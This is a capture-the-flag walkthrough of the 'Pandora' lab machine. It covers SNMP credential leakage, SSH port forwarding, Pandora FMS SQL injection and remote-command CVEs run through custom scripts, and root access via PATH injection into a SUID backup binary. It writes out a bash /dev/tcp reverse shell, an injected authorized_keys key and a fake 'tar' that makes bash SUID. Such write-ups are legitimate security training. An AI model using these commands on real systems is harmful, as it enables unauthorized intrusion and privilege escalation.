💥Cyb3rBook

Search

SearchSearch

PANDORA

Apr 10, 202543 min read

PRIMARY CATEGORY → EASY

Summary

  • Web Content Fuzzing (Gobuster)
  • Virtual Host Enumeration (Gobuster)
  • UDP Port Scanning using Nmap
  • Information Disclosure via SNMP
  • Review of Apache Virtual Hosts Configuration Files
  • SSH Local Port Forwarding
  • Unauthenticated SQL Injection leads to a Login Bypass → CVE-2021-32099
  • Authenticated Remote Command Execution via a Malicious Extension Upload
  • Authenticated Remote Command Execution via Pandora’s Events Feature → CVE-2020-13851
  • SSH Key Generation and Addition of SSH Public Key to Remote Authorized_keys File
  • PE via Command Path Injection in a SUID Binary (TAR)

Setup

Directory creation with the Machine’s Name

mkdir Pandora && cd !$

Creation of a Pentesting Folder Structure to store all the information related to the target

Reference

mkt

Recon

OS Identification

First, proceed to identify the Target Operative System. This can be done by a simple ping taking into account the TTL Unit

The standard values are →

  • About 64 → Linux
  • About 128 → Windows
ping -c1 10.129.47.86

As mentioned, according to the TTL, It seems that It is a Linux Target

Port Scanning
General Scan

Let’s run a Nmap Scan to check what TCP Ports are opened in the machine

The Scan result is exported in a grepable format for subsequent Port Parsing

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn --disable-arp-ping -oG allTCPPorts 10.129.47.86

Open TCP Ports → 22 and 80

Comprehensive Scan

The ExtractPorts utility is used to get a Readable Summary of the previous scan and have all Open Ports copied to the clipboard

extractPorts allTCPPorts

Then, the Comprehensive Scan is performed to gather the Service and Version running on each open port and launch a set of Nmap Basic Recon Scripts

Note that this scan is also exported to have evidence at hand

nmap -p22,80 -sCV -n -Pn --disable-arp-ping -oN targeted 10.129.47.86
OS Version (Codename)

In Linux Systems, the Operative System Version could be extracted through Launchpad

According to the Version Column Data of the Comprehensive Scan, proceed as follows →

  • 22 - SSH

Reference

OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 site:launchpad.net
  • 80 - HTTP

Reference

Apache httpd 2.4.41 site:launchpad.net

Codename → Ubuntu Focal

This can be verified once the shell is obtained, i.e. the system has been compromised

There are several ways to carry out it →

cat /etc/os-release
hostnamectl # If System has been booted via Systemd
lsb_release -a
cat /etc/issue
cat /proc/version
22 - SSH

OpenSSH Version → v8.2

The Version of the Service running can also be obtained via Banner Grabbing as follows →

nc -v 10.129.47.86 22 <<< ""
CVE-2018-15473

All the OpenSSH Versions prior to the v7.7 one are vulnerable to a System User Enumeration

Reference

CVE-2018-15473 → OpenSSH < v7.7

This time it does not apply since the OpenSSH is the v8.2

80 - HTTP

This in the only port with a service associated that we can list correctly, so let’go!

We can start sending a simple HTTP Request to the Web Server to grab the HTTP Response Headers and see if any interesting information is leaked apart of the Apache Version, which we already know from the Nmap Comprehensive Scan

curl --silent --request GET --location --head "http://10.129.47.86"

But there is nothing interesting

Web Technologies

Now, let’s use whatweb to list the Web Technologies that are running behind the web such as the CMS, if any, or the Server-Side Language Programming

whatweb http://10.129.47.86

From there we extract several interesting things

We see two possible domains where Virtual Hosting can be applied

On the other hand, we have that the Web is probably using Open-Graph and that the CMS could be WordPress

Browser-Based Inspection

From the browser, if we access the Web Page, we receive the following content rendered in the HTTP Responde from the Web Server

First, we can check the Wappalyzer Addon to see if it extracts any additional information beyond what is listed by whatweb

It looks like the site is running PHP, but we do not see the WordPress leakage here

if we request an index.php, we get an HTTP 404 error

But if we request an index.html, we get the previous page, which makes me think that this is a static website, at least the home page

It could be a directory inside the Document Root that contains a CMS such as WordPress, Prestashop, Joomla…

We don’t get anything by checking the source code of the home page, no juicy comments in the HTML code or anything similar

If we inspect the entire homepage, all the links that appear on it do not redirect anywhere, It is literally all static content

The only interesting thing is the contact form

Hitting the submit button redirects to the start of the homepage

We can check with Burpsuite if any data is sent, but it is not

Directory and File Listing

So, let’s perform a directory listing on the http://10.129.47.86 URL to check if there are any directories

To carry out this task, we can use gobuster

gobuster dir --add-slash --threads 200 --output webScan.gobuster --wordlist /usr/share/seclist/Discovery/Web-Content/directory-list-2.3-medium.txt --url http://10.129.47.86

Nothing interesting again, we can try to list some HTLM files

gobuster dir --threads 200 --output webScan.gobuster --extensions html --wordlist /usr/share/seclist/Discovery/Web-Content/directory-list-2.3-medium.txt --url http://10.129.47.86

But there is no html file apart from the index.html

Virtual Hosts Enumeration

We can again use gobuster to list the Virtual Hosts configured on the Apache Web Server

Earlier we saw a domain in the whatweb output → panda.htb

Let’s add this domain to the /etc/hosts file and check if the Web Server offers other content for that domain

printf "\n10.129.47.86\tpanda.htb" >> /etc/hosts

From the browser, enter the following url → http://panda.htb

But we get the same content as from http://10.129.47.86

So, as mentioned before, use gobuster to list any valid Virtual Hosts for the panda.htb domain

gobuster vhost --domain panda.htb --append-domain --threads 200 --output vhostScan.gobuster --wordlist /usr/share/seclist/Discovery/DNS/subdomains-top1million-110000.txt --url http://10.129.47.86

We get nothing either…

At this point, since there is only one port open, corresponding to the HTTP Server, before continuing with more in-depth enumeration, let’s check if there is any UDP ports open on the target as we only have listed the TCP ports before

Port Scanning
General UDP Scan

As we did with the TCP Scan, let’s check what UDP ports are open in the machine as follows

nmap --top-port 20 --open -sU -T5 -vvv -n -Pn --disable-arp-ping -oG allUDPPorts 10.129.47.86

Open UDP Ports → 161

Comprehensive Scan

And the SNMP port is open on the remote machine

Therefore, we can list the version of this service and run a bunch of default Nmap Scripts to gather some additional information about the service running on port 161

nmap -p161 -sU -sCV -n -Pn --disable-arp-ping -oN targeted.snmp 10.129.47.86
161 - SNMP

First, we get that the SNMP version on the remote machine is the 2c, which means that the authentication is handled using community strings

Note that the Nmap scan gave us the valid community string → Public

We can verify it using snmpwalk to request information about the availables OIDs in the target

snmpwalk -v 2c -c public 10.129.47.86 .

With the above command, we start getting a lot of information related to the different OIDs and its values

Therefore, we can assume that the above community string is a valid one

However, if we had not obtained the community string from Nmap, we could obtain it through onesixtyone

We can pass a list of community strings to this tool and it will try to obtain a valid one by authenticating to the SNMP Server for each line in the wordlist

onesixtyone -c /usr/share/seclist/Discovery/SNMP/common-snmp-community-strings.txt 10.129.47.86

And we again verify that public is a valid community string

So, since SNMPv2c supports the GETBULK command, we can list all the OIDs’ values using snmpbulkwalk, instead of snmpwalk, and dump the output to a file to review it in-depth later

snmpbulkwalk -v 2c -c public 10.129.47.86 | tee data.snmp

After the dump with SNMP has finished, let’s check if there is some juicy information on it

Reviewing that snmp.data file, we found the following information in the OIDs values related to the system processes running on the target

<SNIP>
HOST-RESOURCES-MIB::hrSWRunParameters.943 = STRING: "-f"
HOST-RESOURCES-MIB::hrSWRunParameters.944 = STRING: "-LOw -u Debian-snmp -g Debian-snmp -I -smux mteTrigger mteTriggerConf -f -p /run/snmpd.pid"
HOST-RESOURCES-MIB::hrSWRunParameters.963 = STRING: "-c sleep 30; /bin/bash -c '/usr/bin/host_check -u daniel -p HotelBabylon23'"
HOST-RESOURCES-MIB::hrSWRunParameters.969 = ""
HOST-RESOURCES-MIB::hrSWRunParameters.997 = STRING: "-o -p -- \\u --noclear tty1 linux"
HOST-RESOURCES-MIB::hrSWRunParameters.1040 = ""
HOST-RESOURCES-MIB::hrSWRunParameters.1041 = STRING: "-k start"
HOST-RESOURCES-MIB::hrSWRunParameters.1130 = STRING: "-u daniel -p HotelBabylon23"
HOST-RESOURCES-MIB::hrSWRunParameters.4338 = STRING: "-k start"
<SNIP>

It looks that the above sessions is related to the OIDs values that list the arguments section of the processe’s cmdline

And we see there a binary named /usr/bin/host_check and its arguments, which are a username and a password

  • Username → Daniel

  • Password → HotelBabylon23

Shell as System User via SSH

Since we did not see any login or admin panel in the website, let’s check if these credentials are valid to connect to the target via SSH

ssh -p22 daniel@10.129.47.86

And we are in!

Since we are not able to clean the screen using C-l, let’s deal with this problem as follows

export TERM=xterm-256color
export SHELL=/bin/bash
. /etc/skel/.bashrc

Privesc #1

Initial Non-Privileged User → Daniel

Unauthenticated SQL Injection + RCE

Unauthenticated SQL Injection to bypass the Pandora Login Panel leads to Remote Command Execution through the Upload of a Malicious Extension

Well, once inside the machine, we have to find a way to pivot to another user with more privileges than the current one, or at least with more dangerous privesc vectors

User’s Groups

First, let’s check which groups the user daniel belongs to →

id

There are no groups that could rise to a possible privesc vector

Sudoers Permissions

We can check if the user has any sudoers permissions to execute any command as any specific user on the target

sudo -l

There is nothing here either

Setuid Binaries

Let’s check the system binaries with the SUID permission flag set

find  / -perm -4000 -type f -ls 2> /dev/null

And there is one that stands out from the rest → /usr/bin/pandora_backup

But, note that Others has no permissions on that file and, since the user and group owner are root and matt respectively, we cannot do anything until we become matt

Binaries’s Capabilities

We can check if any binary in the system has any sensible capability assigned to it

getcap -r / 2> /dev/null

But they don’t have it

Home Directories

We check the /home directory to see the directories it has

ls /home

Note that, apart from our home directory, we can access to the matt”s home directory

We can run a find command with the -ls options to list the existent directories and files inside those system user folders and their permissions

find . -ls

There are no sensitive or unsual file in the above list. The only ones that could contain sensitive information would be .bash_history ones, but they point to the /dev/null

And now we know that the user.txt flag is in the matt’s home directory

Internal Open Ports

Let’s check if there are any services listening on a specific port only for the localhost interface or something similar

lsof -Pn -i 4TCP -s TCP:listen

We get no output using lsof, proceed with ss or netstat

ss -nltp

Only the following ports are listening locally → 3306 (MySQL) and 53 (Bind DNS)

The rest of the ports are listening on all the network interfaces and are externally accessible, so we did not find anything interesting here either

Apache Configuration Files for Virtual Hosts

It may be a Virtual Host configured which is listening on localhost:80 and, therefore, it is not accessible externally

ls -l /etc/apache2/sites-enabled/

And there is a pandora.conf file which looks interesting, let’s examine its content

cat /etc/apache2/sites-enabled/pandora.conf

This Virtual Host is configured to listen locally on port 80. Therefore, it is not accesible externally

The file name says it all, but let’s check what Webservice or Framework is running on this port on the localhost

curl --silent --location --request GET 'http://localhost'

It seems that the above output indicates to add to the previous URL the following path → /pandora/console

curl --silent --location --request GET 'http://localhost/pandora_console'

And we receive content in the HTTP Response body

SSH Local Port Forwarding

So, let’s apply a local port forwarding from our machine using SSH to be able to access this webpage from our machine’s browser

ssh -p22 -fN -L 80:localhost:80 daniel@10.129.47.86

This command sets up a local listening socket on port 80 of our machine,. Any traffic sent to this port is forwarded through the SSH connection to port 80 of localhost on the target

This allows us to access the web page hosted on the remote machine as if it were running locally

We can check that port 80 is being used by the SSH process as follows →

lsof -Pn -i:80 -s TCP:listen

Therefore, we get the following if we access to this URL from our browser → http://localhost/pandora_console

A Pandora FMS login panel

As we have valid credentials for the user Daniel, let’s check if we can access the Pandora Panel using them

And we got the error above

However, at the bottom of this page we can see the version of Pandora FMS

v7.0NG.742_FIX_PERL2020

Looking for CVEs or vulnerabilities related to this version of Pandora FMS, we found this article, which tells us about several flaws that affect the current version of Pandora FMS running on the target

One of them stands out above the rest → CVE-2021-32099

This is an Unauthenticated SQL Injection, which allows an attacker, without valid credentials, to access the Pandora FMS Panel as an admin user

I have created two exploits leveraging the above security flaw

It exploits the unauthenticated SQL Injection to log into the Pandora FMS Panel as an admin user by performing a specific SQL Query in the injectable session_id parameter of the /include/chart_generator.php script

After that, it uploads a malicious extension contanining a PHP web shell which allows an attacker to gain access to the target through a reverse shell

This is an extended version of the above script, which performs the same actions but also leveraging the SQL Injection vulnerability to list all the data in the current database

Therefore, we could proceed as follows with the standard version of this exploit to gain access to the remote machine as the user running the Pandora FMS web page

python3 CVE-2021-32099.py "http://localhost/pandora_console" 10.10.16.13 443

Zoom In

Shell as Web User using Script

Since the shell obtained in not on a stable tty/pty, let’s proceed as follows to send another reverse connection to the another port and upgrade this shell to a Fully Interactive TTY

Reference

  • Listening Socket from the Attacker and Reverse Shell
Attacker
nc -nlvp 443
Target
bash -c "bash -i &> /dev/tcp/10.10.16.13/1234 0>&2"
  • Simple Shell to Shell on a Fully Interactive TTY/PTY
script /dev/null -c bash
<C-z>
stty raw -echo ; fg
reset xterm
export TERM=xterm-256color
export SHELL=/bin/bash
. /etc/skel/.bashrc
stty rows 61 columns 248
Unauthenticated SQL Injection + RCE

Unauthenticated SQL Injection to bypass the Pandora Login Panel leads to Remote Command Execution in the Events Feature

There is another alternative to gain access to the remote machine running Pandora FMS

Instead of uploading a malicious extension, we can leverage a Remote Command Execution that this version of Pandora FMS has in the Events feature

Note that in order to exploit this flaw, the attacker must be authenticated

Authenticated Remote Command Execution → CVE-2020-13851

Another exploit has been created to leverage this flaw

As being authenticated is a requirement, we need valid credentials i.e. user and password, or a session cookie

Since we have exploited an Unauthenticated SQL Injection to bypass the login panel, we can grab the cookie from the browser or simply change the Pandora Admin password

Once the above is done, proceed as follows

python3 CVE-2020-13851.py --cookie "3gd4tvh7lnshk2vfkkta2k06fn" "http://localhost/pandora_console" 10.10.16.13 443

Zoom In

And we gain access to the target as Matt too 😊

Privesc #2

Non-Privileged User → Matt

When accessing to a remote machine from a Web Shell, since It is a child process of the Web Server processes, in this cases the Apache workers (Child Processes), to avoid any permission restriction applied by any web server security policy or something similar, we will connect again to the remote machine as Matt, but this time using SSH

We do not have any valid credentials for the user Matt, but we can add any SSH public key that we generate to the authorized_keys file of the Matt’s .ssh directory

  • From the Attacker ⚔️

Generate the SSH keys

ssh-keygen -t rsa -b 4096 -f ./pandora

Copy the content of the SSH Public key file named pandora.pub

/bin/cat pandora.pub

Load into memory the SSH Private Key that we will use to authenticate to the remote SSH Server as follows

eval "$( ssh-agent )"
ssh-add ./pandora

Check if the private key has been loaded into memory

ssh-add -l
  • From the Target 🎯

Create the ~/.ssh directory, if it does not exist in Matt’s home folder, and paste the content of the public key above into it

[[ ! -e ~/.ssh ]] && mkdir .ssh && vi ~/.ssh/authorized_keys

Then, just log in to the remote server from the attacker as Matt

ssh -p22 matt@10.129.47.86

Once inside, let’s check if the user.txt flag is in Matt’s home directory

ls ~

And It is! So, extract the flag content and continue!

Path Injection in SUID Binary

Note that, earlier, we listed the SUID binaries on the system as Daniel, and found one for which the user and group owner were root and Matt respectively

If we do the same again

find / -perm -4000 -type f -ls 2> /dev/null

And we have the /usr/bin/pandora_backup file

We check what type of file it is

file /usr/bin/pandora_backup

And it is an ELF linux compiled binary

So, before proceed to transfer the binary to our machine, let’s check if strings, strace or ltrace are available in the target

command -V strings &> /dev/null && strings /usr/bin/pandora_backup

No output from strings

command -V strace &> /dev/null && strace -f -Tt -s 999 -e trace=execve /usr/bin/pandora_backup

And it seems that this binary makes a backup of all the elements inside /var/www/pandora/pandora_console using the tar command

We could think of Wildcard injection as the * character is used in the above command, which expands to all files contained inside the mentioned directory

But, in this case It does not apply as the command is using the absolute path of the target folder → /var/www/pandora/pandora_console

Therefore, we cannot use the checkpoint and checkpoint-action tar options to exploit this Wildcard

However, note that the tar command is being used without specifying its absolute path, so there is a possible PATH Injection

We can leverage this flaw to modify the PATH env parameter and add, before the path where the tar binary is stored, the directory /dev/shm and create in it a file called tar containing e.g. the following command

chmod u+s /bin/bash

As /usr/bin/pandora_backup has the SUID permission, it will be run as root and, when running tar, it will be execute the above command which is inside the tar file we have created in the /dev/shm directory

Therefore, proceeed as follows →

Create the tar file inside /dev/shm with the above command

cd /dev/shm && printf "chmod u+s /bin/bash" > ./tar

Modify the PATH env parameter by adding the current directory first

export PATH=.:$PATH

Clear the system hash table to avoid any cached tar path, such as the real one

hash -d

Execute the /usr/bin/pandora_backup binary and check if the bash binary has the SUID permission

/usr/bin/pandora_backup && ls -l /bin/bash

And it has! So, just launch a bash privileged instance and grab the root.txt flag 😊

bash -pi
cat /root/root.txt

Custom Exploits

CVE-2021-32099.py

Reference

CVE-2021-32099_extended.py

Reference

CVE-2020-13851.py

Reference

Graph View

Backlinks